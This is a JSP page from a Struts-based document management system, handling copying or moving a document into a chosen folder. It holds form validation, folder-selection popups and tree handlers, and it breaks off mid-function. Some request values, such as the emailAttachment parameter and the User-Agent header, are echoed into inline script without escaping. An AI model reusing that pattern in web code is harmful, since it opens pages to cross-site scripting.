<%
/*
 * @(#)CopyDmsDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  CopyDmsDocument.jsp

  This is a CopyDmsDocument page.  It copy the selected document into target directory.

    @author             Zoe Shum
    @company            DCIVision Ltd
    @creation date      07/0/2003
    @version            $Revision: 1.148.2.18 $
*/
 /* ********************************Modify History***********************************************
 * Modify by  : joan.xiong
 * Modify date: 2006/09/06
 * BugID      : EIP-157
 * Description: When clicked the return button cause the 404 error
 * *********************************************************************************************
 */

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="org.apache.struts.action.ActionError"%>
<%@ page import="org.apache.struts.action.ActionErrors"%>
<%@ page import="com.dcivision.dms.web.*" %>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.framework.web.*" %>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.bean.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="DMS_DEF_PROFILE" scope="application" class="java.util.ArrayList"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintDmsDocumentForm" scope="request" class="com.dcivision.dms.web.MaintDmsDocumentForm"/>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>

<html:form type="MaintDmsDocumentForm" enctype="multipart/form-data" action="dms/MaintDmsDocument" onsubmit="return(false)" styleClass="form-style-2">
<html:javascript formName="maintDmsDocumentForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>

<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/autoCompleteBoxDWRFacade.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/engine.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/util.js'></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/scriptaculous/lib/prototype.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/scriptaculous/src/scriptaculous.js" charset="UTF-8" type="text/javascript"></script>

<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

  String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
try{
  String sCurFunctionCode = maintDmsDocumentForm.getCurFunctionCode()==null? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY): maintDmsDocumentForm.getCurFunctionCode();
   Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn);
  String rootID = maintDmsDocumentForm.getRootID();
  String parentID = maintDmsDocumentForm.getParentID();
  String userDefinedFieldID = maintDmsDocumentForm.getUserDefinedFieldID();
  final String documentType  = maintDmsDocumentForm.getDocumentType();
  final List udfDetailList = (List) maintDmsDocumentForm.getUdfDetailList();
  final List docDetailList = (List) maintDmsDocumentForm.getDocumentDetails();

  DmsRoot nDmsRoot= (DmsRoot)docRetrievalManager.getDmsRoot(TextUtility.parseIntegerObj(rootID));
  if(DmsRoot.PERSONAL_ROOT.equals(nDmsRoot.getRootType())){
    if(!nDmsRoot.getOwnerID().equals(sessionContainer.getUserRecordID())){
      rootID=docRetrievalManager.getDmsRootID(sessionContainer.getUserRecordID(),GlobalConstant.RECORD_STATUS_ACTIVE).getID().toString();
          DmsDocument nDmsDocument= (DmsDocument)docRetrievalManager.getRootFolderByRootID(TextUtility.parseIntegerObj(rootID));
      parentID=nDmsDocument.getID().toString();
      }
  }

  String targetRootID = maintDmsDocumentForm.getTargetRootID()==null? rootID : maintDmsDocumentForm.getTargetRootID();
  String destinationID = Utility.isEmpty(maintDmsDocumentForm.getDestinationID()) ? parentID : maintDmsDocumentForm.getDestinationID();
  boolean invitationOverwrite =SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_INVITATION_OVERWRITE_STANDARD);

  String opMode = maintDmsDocumentForm.getOpMode();
  String navMode = maintDmsDocumentForm.getNavMode();

  String directURL = request.getParameter("directURL") != null ? request.getParameter("directURL") : maintDmsDocumentForm.getDirectURL();
  String returnTo = request.getParameter("returnTo") != null ? request.getParameter("returnTo") : maintDmsDocumentForm.getReturnTo();

    /*
   *    Update Code Start
   *    Author              Jim.Zhou
   *    Date                    2006/04/05
     *  Bug                     #4786
   */
    String browserType = request.getHeader("User-Agent");
  /*
   *    Update Code End
   */

  String returnTop = request.getParameter("returnTop");
/*
 *  Update Code Start
 *  Author                  joan.xiong
 *  Date                    2006/09/06��2006/10/24
 *  Bug                     EIP-157��EIP-747
 */
   //if(!Utility.isEmpty(returnTop)&&!"undefined".equals(returnTop)){
   //if(!Utility.isEmpty(returnTop)&&!"undefined".equals(returnTop) && !"null".equals(returnTop)){
   if(!Utility.isEmpty(returnTop)&&!"undefined".equals(returnTop) && !"null".equals(returnTop)){
/*
 *  Update Code End
 */
    returnTop = java.net.URLEncoder.encode(returnTop, "UTF-8");
        if (Utility.isEmpty(returnTo)){
            returnTo = returnTo + "&returnTo=" + returnTop;
            maintDmsDocumentForm.setReturnTo(returnTo);
        }
  }

  String encodeReturnTo ="";
  if(!Utility.isEmpty(returnTo)){
    encodeReturnTo =java.net.URLEncoder.encode(returnTo);
  }

  String functionType = "";
  if (DmsOperationConstant.COPY_OPERATION.equals(opMode)) {
    functionType="dms.common.doc_copy";
  } else if (DmsOperationConstant.MOVE_OPERATION.equals(opMode)) {
    functionType="dms.common.doc_move";
  }


  DmsDocument currentDocument = (DmsDocument) docRetrievalManager.getDocument(TextUtility.parseIntegerObj(maintDmsDocumentForm.getID()));

  DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
  if (rootFolder == null) {
     rootFolder = docRetrievalManager.getRootFolderByRootID(TextUtility.parseIntegerObj(rootID));
  }
  List folderTreeList = (List)request.getAttribute("folderTreeList");
  if (Utility.isEmpty(folderTreeList)){
     folderTreeList = (List) docRetrievalManager.getFolderByParentIDRootID(rootFolder.getID(), TextUtility.parseIntegerObj(rootID));
  }
  DmsDocument documentRoot = new DmsDocument();

  String permission = request.getParameter("permission");
  if (Utility.isEmpty(permission)){
    documentRoot = (DmsDocument)docRetrievalManager.getRootFolderByRootID(currentDocument.getRootID());
    PermissionManager permissionManager = sessionContainer.getPermissionManager();
    permission = (String) permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, currentDocument.getID());
  }

  String homePageFunctionCode="";
   if (Utility.isEmpty(sCurFunctionCode) || "null".equals(sCurFunctionCode) || DmsOperationConstant.LIST_PERSONAL_HOME.equals(sCurFunctionCode)){
     homePageFunctionCode=DmsOperationConstant.LIST_PERSONAL_HOME;
    DmsDocument dotRoot = docRetrievalManager.getRootFolderByRootID(TextUtility.parseIntegerObj(rootID));
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(dotRoot.getDocumentName())) {
      sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
    } else {
      sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
    }
    request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY, sCurFunctionCode);
  }

  ActionErrors actionErrors = (ActionErrors)request.getAttribute(org.apache.struts.Globals.ERROR_KEY);
  boolean hasErrorInPage= (actionErrors !=null);
  //joan.xiong add code for bug EIP-1112 by 2007/01/10
  /*boolean isHaveUDFProfile = true;
  //MaintDmsDocumentForm newForm = (MaintDmsDocumentForm) maintDmsDocumentForm;
  MaintDmsDocumentForm newForm = new MaintDmsDocumentForm();//joan.xiong update code for bug EIP-1178 by 2006/12/21
  newForm.setFormData(currentDocument);
  for(int i=0;i<10;i++){
      java.lang.reflect.Method methodTep1 = newForm.getClass().getMethod("getUserDef"+(i+1), null);
       String userDefValueTep1 = (String)methodTep1.invoke(newForm, null);
      if (!Utility.isEmpty(userDefValueTep1)){
         isHaveUDFProfile = false;
         break;
      }
  }*/
  //joan.xiong add code end
  //joan.xiong add code for bug EIP-1146 by 2006/12/15
  /*if(!Utility.isEmpty(docRetrievalManager.getDocumentDetailList(currentDocument.getID()))){
      com.dcivision.dms.bean.DmsDocumentDetail docDetail = (com.dcivision.dms.bean.DmsDocumentDetail)docRetrievalManager.getDocumentDetailList(currentDocument.getID()).get(0);
      if(!Utility.isEmpty(docDetail.getUserDefinedFieldID())){
          maintDmsDocumentForm.setUserDefinedFieldID(docDetail.getUserDefinedFieldID().toString());
      }
  }else if(!Utility.isEmpty(destinationID)){
      Integer destinationId = TextUtility.parseIntegerObj(destinationID);
      int totalDefaultProfile = Integer.parseInt(com.dcivision.framework.SystemParameterFactory.getSystemParameter(com.dcivision.framework.SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_COUNT));
      if(!Utility.isEmpty(docRetrievalManager.getDocumentDetailList(destinationId))){
        com.dcivision.dms.bean.DmsDocumentDetail docDetail = (com.dcivision.dms.bean.DmsDocumentDetail)docRetrievalManager.getDocumentDetailList(destinationId).get(0);
        if(!Utility.isEmpty(docDetail.getUserDefinedFieldID()) && docDetail.getUserDefinedFieldID().compareTo(new Integer(totalDefaultProfile))>0){
          maintDmsDocumentForm.setUserDefinedFieldID(docDetail.getUserDefinedFieldID().toString());
        }
      }else{
          if(!Utility.isEmpty(userDefinedFieldID)){
            maintDmsDocumentForm.setUserDefinedFieldID(userDefinedFieldID);
          }
      }
  }*/
  /*if(!Utility.isEmpty(userDefinedFieldID)){
      maintDmsDocumentForm.setUserDefinedFieldID(userDefinedFieldID);
  }*/
  //joan.xiong add code end
%>
<script language="Javascript" src="<%=request.getContextPath()%>/js/FloatingSelectionBox.js" charset="UTF-8" type="text/javascript"></script>
<script language="javascript">
<!--

var tree;

PreloadImages('<html:img src='Uploading.gif' pathOnly='true'/>');
var flowWindow = null;
var clickedFlag = false;
var targetAction = '';
/*
 *  Update Code Start
 *  Author              Jim.Zhou
 *  Date                    2006/04/06
 *  Bug                     #4786
 */
var browserType = "<%=browserType%>";
/*
 *  Update Code End
 */

function closeFlowWindow() {
  if (popupWin) {
    popupWin.close();
  }
}

function OpCustSave() {
  var docType="<%=currentDocument.getDocumentType()%>";
  document.maintDmsDocumentForm.navMode.value="";
  if (clickedFlag) {
    if (popupWin) {
      popupWin.focus();
    }
  } else {
  //Validate General Document Info and UDF Profile
    if (!ValidateForm(document.maintDmsDocumentForm) || !ValidateUDF() ) {
      return(false);
    }
    if (document.maintDmsDocumentForm.destinationID.value!='') {

      if (!OpValidate()) {
        return(false);
      }
      if(docType=="<%=DmsDocument.PAPER_DOC_TYPE%>" && document.maintDmsDocumentForm.referenceNo.value==""){
        alert("<bean:message key='dms.label.reference_no'/> is required!");
        return false;
      }
      document.maintDmsDocumentForm.closeFlag.value="2";
      //OpenCenteredPopup('<%=request.getContextPath()%>/jsp/dms/FlowWindow.jsp?loadType=loading', 'DCIVisionFlowWindow', 200, 100, 'toolbar=no,menubar=no,status=no,resizable=no,alwaysRaised=yes,dependent=yes,scrollbars=yes');
      loadingTo(null, true);
      document.maintDmsDocumentForm.action="MaintDmsDocument.do";
      document.maintDmsDocumentForm.submit();
      clickedFlag = true;

    } else {
      alert("<bean:message key='dms.message.choose_target_destination_folder'/>");
    }
  }

  return false;
}

function OpValidate() {
  var oldFilename = "<%=currentDocument.getDocumentName()%>";

  if (!ValidateForm(document.maintDmsDocumentForm)) {
    return(false);
  }




  <%if (DmsOperationConstant.MOVE_OPERATION.equals(opMode)){%>
  if (document.maintDmsDocumentForm.destinationID.value == <%=currentDocument.getParentID()%> &&
      document.maintDmsDocumentForm.documentName.value == oldFilename) {
    alert("<bean:message key='dms.message.not_valid_target_destination'/>");
    return(false);
  }
  <%}%>

  if(('<%=currentDocument.getDocumentType()%>'=='<%=DmsDocument.FOLDER_TYPE%>') &&
     (document.maintDmsDocumentForm.destinationID.value=='<%=currentDocument.getID()%>')){
    <%if (DmsOperationConstant.MOVE_OPERATION.equals(opMode)){%>
      alert("<bean:message key='dms.message.not_valid_move_current_folder'/>");
    <%}%>
    <%if (DmsOperationConstant.COPY_OPERATION.equals(opMode)){%>
     alert("<bean:message key='dms.message.not_valid_copy_current_folder'/>");
    <%}%>
    return(false);
  }


  if (CheckExtensionInconsistent(oldFilename, document.maintDmsDocumentForm.documentName.value)) {
    if (!confirm("<bean:message key='dms.message.confirm_change_ext'/>")) {
      return(false);
    }
  }

  return(true);
}

function rootChangeSubmit() {
  document.maintDmsDocumentForm.navMode.value="<%=GlobalConstant.NAV_MODE_CHANGE%>";
//  document.maintDmsDocumentForm.destinationID.value="";
  document.maintDmsDocumentForm.action="maintDmsDocumentForm.do";
  document.maintDmsDocumentForm.submit();
}

function setHiddenValue(destinationID, targetRootID, path) {
  document.maintDmsDocumentForm.destinationPath.value=replaceSpecialChar(path);
  document.maintDmsDocumentForm.destinationID.value=destinationID;
  document.maintDmsDocumentForm.targetRootID.value=targetRootID;
  document.maintDmsDocumentForm.rootID.value= targetRootID;
  document.maintDmsDocumentForm.parentID.value = destinationID;
//  clearparentFolderProfileIndex(false);
  //joan.xiong add code for bug EIP-1112 by 2007/01/10
  <%//if(Integer.parseInt(com.dcivision.framework.SystemParameterFactory.getSystemParameter(com.dcivision.framework.SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_COUNT))<1 && isHaveUDFProfile){%>
  document.maintDmsDocumentForm.clearIndex.value=false;
  document.maintDmsDocumentForm.clearIndexFlag.value="true";
  document.maintDmsDocumentForm.opMode.value="<%=opMode%>";
  document.maintDmsDocumentForm.curFunctionCode.value="<%=sCurFunctionCode%>";
  document.maintDmsDocumentForm.navMode.value="<%=GlobalConstant.NAV_MODE_CHANGE%>";
  document.maintDmsDocumentForm.submit();
  <%//}%>
  //joan.xiong add code end
}

function refreshPage(rootID, parentID){
  //joan.xiong add code for bug EIP-1112 by 2007/01/10
  <%//if(Integer.parseInt(com.dcivision.framework.SystemParameterFactory.getSystemParameter(com.dcivision.framework.SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_COUNT))<1 && isHaveUDFProfile){%>
  document.maintDmsDocumentForm.clearIndex.value=false;
  document.maintDmsDocumentForm.clearIndexFlag.value="true";
  <%//}%>
  //joan.xiong add code end
  document.maintDmsDocumentForm.opMode.value="<%=opMode%>";
  document.maintDmsDocumentForm.curFunctionCode.value="<%=sCurFunctionCode%>";
  document.maintDmsDocumentForm.rootID.value= rootID;
  document.maintDmsDocumentForm.parentID.value = parentID;
//  document.maintDmsDocumentForm.destinationID.value='';
  document.maintDmsDocumentForm.navMode.value="<%=GlobalConstant.NAV_MODE_CHANGE%>";
  document.maintDmsDocumentForm.submit();
}

function refreshPage(rootID, parentID, homePageFunctionCode){
  //joan.xiong add code for bug EIP-1112 by 2007/01/10
  <%//if(Integer.parseInt(com.dcivision.framework.SystemParameterFactory.getSystemParameter(com.dcivision.framework.SystemParameterConstant.DMS_DEFAULT_PROFILE_FIELD_COUNT))<1 && isHaveUDFProfile){%>
  document.maintDmsDocumentForm.clearIndex.value=false;
  document.maintDmsDocumentForm.clearIndexFlag.value="true";
  <%//}%>
  //joan.xiong add code end
  document.maintDmsDocumentForm.opMode.value="<%=opMode%>";
  document.maintDmsDocumentForm.curFunctionCode.value="<%=sCurFunctionCode%>";
  document.maintDmsDocumentForm.rootID.value= rootID;
  document.maintDmsDocumentForm.parentID.value = parentID;
  document.maintDmsDocumentForm.homePageFunctionCode.value = homePageFunctionCode;
//  document.maintDmsDocumentForm.destinationID.value='';
  document.maintDmsDocumentForm.navMode.value="<%=GlobalConstant.NAV_MODE_CHANGE%>";
  document.maintDmsDocumentForm.submit();
}

// For selecting dms folder
function popupFolderSelectionPanel(rootID, parentID, displayField, hiddenRootIDField, hiddenParentIDField, refreshCopyMove, allowCompoundDoc,allowPaperDoc,allowReset,isMyFavorite,arrayIndex,allowEmailDoc,allowFormDoc,allowFlowDoc, ID,allowPublicRule, profileID, returnTo,ruleType,allowPersonalOnly,allowPublicOnly) {
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }
  if (refreshCopyMove!='' && refreshCopyMove!=null) {
    //specfic path for the move/copy page to reload the workflow table
    url = "<%= request.getContextPath() %>" + "/dms/ListDmsFolderSelect.do?rootID=" + rootID + "&parentID=" + parentID + "&formName=" + frm.name + "&displayFieldName=" + displayField + "&hiddenRootIDFieldName=" + hiddenRootIDField + "&hiddenParentIDFieldName=" + hiddenParentIDField+"&refreshCopyMove=" + refreshCopyMove+"&allowCompoundDoc="+allowCompoundDoc+"&allowPaperDoc="+allowPaperDoc+"&homePageFunctionCode=<%=homePageFunctionCode%>"+"&returnTo=<%=encodeReturnTo%>&allowPersonalOnly="+allowPersonalOnly+"&allowPublicOnly="+allowPublicOnly;
  } else {
    url = "<%= request.getContextPath() %>" + "/dms/ListDmsFolderSelect.do?rootID=" + rootID + "&parentID=" + parentID + "&formName=" + frm.name + "&displayFieldName=" + displayField + "&hiddenRootIDFieldName=" + hiddenRootIDField + "&hiddenParentIDFieldName=" + hiddenParentIDField+"&allowCompoundDoc="+allowCompoundDoc+"&allowPaperDoc="+allowPaperDocy+"&homePageFunctionCode=<%=homePageFunctionCode%>"+"&returnTo=<%=encodeReturnTo%>&allowPersonalOnly="+allowPersonalOnly+"&allowPublicOnly="+allowPublicOnly;
  }

  var name = "DCIVisionPopupDmsFolderSelectPanel";
  var popW = "900";
  var popH = "550";
  var feature = "scrollbars=yes,resizable=yes";

  return OpenCenteredPopup(url, name, popW, popH, feature);
}

function ValidateUDF() {
  if (document.maintDmsDocumentForm.fieldID != null) {
    for ( var i=0; i<document.maintDmsDocumentForm.fieldID.length; ++i) {
      var udfDetailID = document.maintDmsDocumentForm.fieldID[i].value;
      var udfDetailValue = "";
      var udfDetailFieldName = document.maintDmsDocumentForm.fieldName[i].value;
      var MandatoryMessage = "<bean:message key='errors.dms.value_is_required'/>" + " " + udfDetailFieldName + "!";
      var NumberMessage = udfDetailFieldName + " " + "<bean:message key='errors.dms.valus_must_be_float'/>" + "!";

            /*
             *  Update Code Start
             *  Author              Jim.Zhou
             *  Date                    2006/04/05
             *  Bug                     #4786
             */
            /*
      if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.DATE_FIELD%>') {
        //udfDetailValue = eval("document.maintDmsDocumentForm.dummy_udfDetail_Date_" + udfDetailID + ".value");
        udfDetailValue = document.getElementById("dummy_udfDetail_Date_"+udfDetailID).value
      } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.NUMBER_FIELD%>') {
        //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_Number_" + udfDetailID + ".value");
        udfDetailValue = document.getElementById("udfDetail_Number_"+udfDetailID).value
      } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.STRING_FIELD%>' || document.maintDmsDocumentForm.fieldType[i].value.indexOf("CUST") >= 0) {
        //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_String_" + udfDetailID + ".value");
        udfDetailValue = document.getElementById("udfDetail_String_"+udfDetailID).value
      } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.FIELD_TYPE_SELECT_DATABASE%>') {
        //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_SDB_" + udfDetailID + ".value");
        udfDetailValue = document.getElementById("udfDetail_SDB_"+udfDetailID).value
      }
            */

            if (browserType.indexOf("Firefox") != -1) {
                if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.DATE_FIELD%>') {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.dummy_udfDetail_Date_" + udfDetailID + ".value");
                    udfDetailValue = document.maintDmsDocumentForm.elements["dummy_udfDetail_Date_"+udfDetailID].value;
                } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.NUMBER_FIELD%>') {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_Number_" + udfDetailID + ".value");
                    udfDetailValue = document.maintDmsDocumentForm.elements["udfDetail_Number_"+udfDetailID].value;
                } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.STRING_FIELD%>' || document.maintDmsDocumentForm.fieldType[i].value.indexOf("CUST") >= 0) {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_String_" + udfDetailID + ".value");
                    udfDetailValue = document.maintDmsDocumentForm.elements["udfDetail_String_"+udfDetailID].value;
                } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.FIELD_TYPE_SELECT_DATABASE%>') {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_SDB_" + udfDetailID + ".value");
                    udfDetailValue = document.maintDmsDocumentForm.elements["udfDetail_SDB_"+udfDetailID].value;
                }
            } else {
                if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.DATE_FIELD%>') {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.dummy_udfDetail_Date_" + udfDetailID + ".value");
                    udfDetailValue = document.getElementById("dummy_udfDetail_Date_"+udfDetailID).value;
                } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.NUMBER_FIELD%>') {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_Number_" + udfDetailID + ".value");
                    udfDetailValue = document.getElementById("udfDetail_Number_"+udfDetailID).value;
                } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.STRING_FIELD%>' || document.maintDmsDocumentForm.fieldType[i].value.indexOf("CUST") >= 0) {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_String_" + udfDetailID + ".value");
                    udfDetailValue = document.getElementById("udfDetail_String_"+udfDetailID).value;
                } else if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.FIELD_TYPE_SELECT_DATABASE%>') {
                    //udfDetailValue = eval("document.maintDmsDocumentForm.udfDetail_SDB_" + udfDetailID + ".value");
                    udfDetailValue = document.getElementById("udfDetail_SDB_"+udfDetailID).value;
                }
            }
            /*
             *  Update Code End
             */

      //Check for UDF Mandatory field's value
      if (document.maintDmsDocumentForm.fieldMandatory[i].value == 'true') {
        if (udfDetailValue == '') {
          alert(MandatoryMessage);
          return false;
        }
      }

      //Check for Numeric UDF Field
      if (document.maintDmsDocumentForm.fieldType[i].value == '<%=SysUserDefinedIndexDetail.NUMBER_FIELD%>') {
        if ((udfDetailValue != '') && (!parseFloat(udfDetailValue) || isNaN(udfDetailValue))) {
          alert(NumberMessage);
          return false;
        }
      }
    }
  }

  return true;
}


function getDetail(){
  <%if (request.getParameter("emailAttachment") != null) {%>
  document.maintDmsDocumentForm.emailAttachment.value="<%=request.getParameter("emailAttachment")%>";
  <%}%>
  document.maintDmsDocumentForm.isChangeUDFID.value = "";
  document.maintDmsDocumentForm.opMode.value="<%=DmsOperationConstant.COPY_OPERATION%>";
//  document.maintDmsDocumentForm.opMode.value="<%=GlobalConstant.NAV_MODE_REFRESH%>";
//  document.maintDmsDocumentForm.navMode.value="<%=DmsOperationConstant.COPY_OPERATION_REFRASH%>";
  document.maintDmsDocumentForm.navMode.value="<%=GlobalConstant.NAV_MODE_CHANGE%>";
//  document.maintDmsDocumentForm.destinationID.value="";
  document.maintDmsDocumentForm.parentID.value=<%=destinationID%>;//joan.xiong update code for bug EIP-1146 by 2006/12/08
  document.maintDmsDocumentForm.submit();
}

function OpCustSaveAndNew() {
  document.maintDmsDocumentForm.opMode.value="<%=DmsOperationConstant.COPY_MORE_OPERATION%>";
  return OpCustSave();
}

function showCopyOpt(){
  document.maintDmsDocumentForm.refreshCopyOpt.value='true';
  document.maintDmsDocumentForm.submit();
  return(true);
}

function clearparentFolderProfileIndex(clearType){
  document.maintDmsDocumentForm.clearIndex.value=clearType;
  document.maintDmsDocumentForm.clearIndexFlag.value="";
//  <%=ACTION_MODE%>
//  <%=GlobalConstant.NAV_MODE_EDIT%>
//  <%=maintDmsDocumentForm.getClearIndexFlag()%>
//  <%=maintDmsDocumentForm.getClearIndexFlag()%>

  <%if(GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)){%>
  document.maintDmsDocumentForm.editIndexFlag.value="true";
  <%}%>
  document.maintDmsDocumentForm.navMode.value="<%=GlobalConstant.NAV_MODE_CHANGE%>";
  document.maintDmsDocumentForm.submit();
}


-->
</script>

<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="ID"/>
<html:hidden property='documentType'/>
<html:hidden property="curFunctionCode"/>
<html:hidden property="parentID"/>
<html:hidden property="rootID"/>
<html:hidden property='createType'/>
<html:hidden property='itemSize'/>
<html:hidden property='itemStatus'/>
<html:hidden property='checkoutID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property="creatorID"/>
<html:hidden property="createDate"/>
<html:hidden property="updaterID"/>
<html:hidden property="updateDate"/>
<html:hidden property="closeFlag" value="0"/>
<html:hidden property="directURL" value='<%=directURL%>'/>
<html:hidden property="returnTo" value='<%=returnTo%>'/>
<html:hidden property='clearIndex'/>
<html:hidden property='editIndexFlag'/>
<html:hidden property='clearIndexFlag'/>

<input type="hidden" name='homePageFunctionCode'>
<input type="hidden" name='refreshCopyOpt' value=''>
<input type="hidden" name='isChangeUDFID' value='false'>
<!-- Page Title Section -->
<%
String returnURL="";
if(Utility.isEmpty(maintDmsDocumentForm.getReturnTo()) || maintDmsDocumentForm.getReturnTo().equals("null")){
  if(Utility.isEmpty(homePageFunctionCode)){
    if (DmsOperationConstant.DMS_PERSONAL_ROOT.equals(documentRoot.getDocumentName())) {
      returnURL="ListDmsDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID;
    }else {
        returnURL="ListDmsPublicDocument.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&rootID="+rootID+"&parentID="+parentID+"&Return=Y";
    }
  }else if(DmsOperationConstant.LIST_PERSONAL_HOME.equals(homePageFunctionCode)){
    returnURL=request.getContextPath()+"/Home.do";
    }
}else{
  returnURL=maintDmsDocumentForm.getReturnTo();
}%>

<layout:tabContainer id="tab1">
    <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
    <layout:tabBar styleClass="tabBar_no_button">
        <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true"/>
    </layout:tabBar>

<!-- Basic Tab DIV -->
<div id="basicTab" class="tabContent">
<table width="100%" cellpadding="0" cellspacing="0" border="0">
 <tr>
  <td valign="top" class="treeOuterWrapper">
  <div id="treeContainer">
    <!-- Hierarchy Tree Begin -->
<%
  String jspPageMappingName = "MaintDmsDocument";
%>
<script language="JavaScript">
<!--
function handleTreeNodeGeneralDoc(docID,rootID){
  //var targetLoc = tree.getFullPathString();
  //document.maintDmsDocumentForm.destinationPath.value=replaceSpecialChar(targetLoc.substring(0, targetLoc.length-1));
  document.maintDmsDocumentForm.destinationID.value=docID;
  document.maintDmsDocumentForm.targetRootID.value=rootID;
  document.maintDmsDocumentForm.rootID.value= rootID;
  document.maintDmsDocumentForm.parentID.value = docID;
  document.maintDmsDocumentForm.opMode.value="<%=opMode%>";
  clearparentFolderProfileIndex(false);
}

function handleTreeNodeCompoundDoc(docID,rootID){
  var alertMessage ="<bean:message key='dms.message.compound_doc_cannot_chosen'/>";
  alert (alertMessage);
}

function handleTreeNodePaperDoc(docID,rootID){
  var alertMessage ="<bean:message key='dms.message.paper_doc_cannot_chosen'/>";
  alert(alertMessage);
}

function handleTreeSubStaticNodeCompoundDoc(docID,rootID){
  var alertMessage ="<bean:message key='dms.message.compound_doc_cannot_chosen'/>";
  alert (alertMessage);
}

function handleTreeSubStaticNodePaperDoc(docID,rootID){
  var alertMessage ="<bean:message key='dms.message.paper_doc_cannot_chosen'/>";
  alert(alertMessage);
}

function handleTreeSubStaticNodeGeneralDoc(docID,rootID){
  handleTreeNodeGeneralDoc(docID,rootID);
}

function handleTreeNodeEmailDoc(docID,rootID){
  var alertMessage ="<bean:message key='dms.message.email_doc_cannot_chosen'/>";
  alert(alertMessage);
}

function handleTreeNodeFormDoc(docID,rootID){
  var alertMessage ="<bean:message key='dms.message.form_doc_cannot_chosen'/>";
  alert(alertMessage);
}

function handleTreeNodeFlowDoc(docID,rootID){
  var alertMessage ="<bean:message key='dms.message.flow_doc_cannot_chosen'/>";
  alert(alertMessage);
}

function handleTreeSubStaticNodeEmailDoc(docID,rootID){
  var alertMessage ="<bean:message key='dms.message.email_doc_cannot_chosen'/>";
  alert(alertMessage);
}

function handleTreeSubStaticNodeFormDoc(docID,rootID){
  var alertMessage ="<bean:message key='dms.message.form_doc_cannot_chosen'/>";
  alert(alertMessage);
}

function handleTreeSubStaticNodeFlowDoc(docID,rootID){
